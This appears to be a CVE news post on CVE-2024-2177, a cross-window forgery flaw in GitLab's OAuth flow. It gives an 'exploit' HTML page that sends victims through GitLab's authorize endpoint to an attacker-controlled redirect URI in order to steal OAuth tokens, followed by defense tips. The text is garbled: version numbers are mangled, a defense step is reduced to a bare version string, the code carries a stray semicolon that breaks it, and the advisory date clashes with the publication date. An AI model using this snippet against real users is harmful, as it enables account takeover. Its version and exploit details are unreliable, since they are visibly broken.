CVE CyberSecurity Database News

CVE-2024-2177 - Cross-Window Forgery Vulnerability in GitLab's OAuth Authentication Flow and How to Defend Your System

Poster -

The cybersecurity world has tons of threats to deal with. Among all these threats, Cross-Site Request Forgery (CSRF) is one of the most dangerous. Recently, a critical Cross-Windows Forgery vulnerability was found within GitLab CE/EE, affecting multiple versions and potentially compromising OAuth authentication flows. This post will be discussing CVE-2024-2177 and its implications, along with details of the exploit, related code snippets, and links to original references.

Details

CVE-2024-2177 describes a Cross-Window Forgery vulnerability that exists in GitLab CE/EE, affecting all versions from 16.3 prior to 16.11.5, 17. prior to 17..3, and 17.1 prior to 17.1.1. This allows an attacker to abuse the OAuth authentication flow using a crafted payload. Essentially, the vulnerability allows the attacker to impersonate another user within the same web application, thereby gaining unauthorized access and control over the victim's account.

Exploit Details

A malicious actor can exploit this vulnerability by crafting a URL or embedding a code snippet in a web page that can trigger the OAuth authentication process. To illustrate this exploit, consider the following code snippet:

<html>
<head>
  <script>
    function exploit() {
      let clientId = "the attackers clientId";
      let redirectURI = "https://example.com/exploitPage";;
      let authEndpoint = "https://gitlab.com/oauth/authorize?client_id="; + clientId + "&redirect_uri=" + redirectURI + "&response_type=code";
      window.location = authEndpoint;
    }
  </script>
</head>
<body>
  <button onclick="exploit()">Login with GitLab</button>
</body>
</html>

As shown above, the exploit() function creates a crafted URL to trigger GitLab's OAuth authentication flow. Then, by clicking the "Login with GitLab" button, the unsuspecting user would be redirected to the malicious web page, where the attacker could steal their OAuth tokens and subsequently gain control over their GitLab account.

Original References

- Official CVE detail: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-2177
- GitLab Advisory: https://about.gitlab.com/releases/2024/09/16/critical-security-release-gitlab-16-11-5-released/

Defending Your System

To protect your GitLab installation from this specific Cross-Window Forgery vulnerability, follow these steps:

17.1.1

2. Update your OAuth client configuration to strictly enforce secure redirect URIs, and avoid allowing wildcard or overly broad configurations.

3. Train and educate users to spot phishing attempts and be cautious when clicking links or buttons related to authentication or login procedures.

In conclusion, CVE-2024-2177 is a critical Cross-Window Forgery vulnerability that could pose a significant risk to GitLab CE/EE installations if not addressed promptly. By staying informed, keeping your software up-to-date, and practicing safe browsing habits, you can ensure that you are well protected against this type of attack. Stay vigilant, and keep your system safe!

Timeline

Published on: 07/09/2024 14:15:03 UTC
Last modified on: 08/29/2024 15:04:55 UTC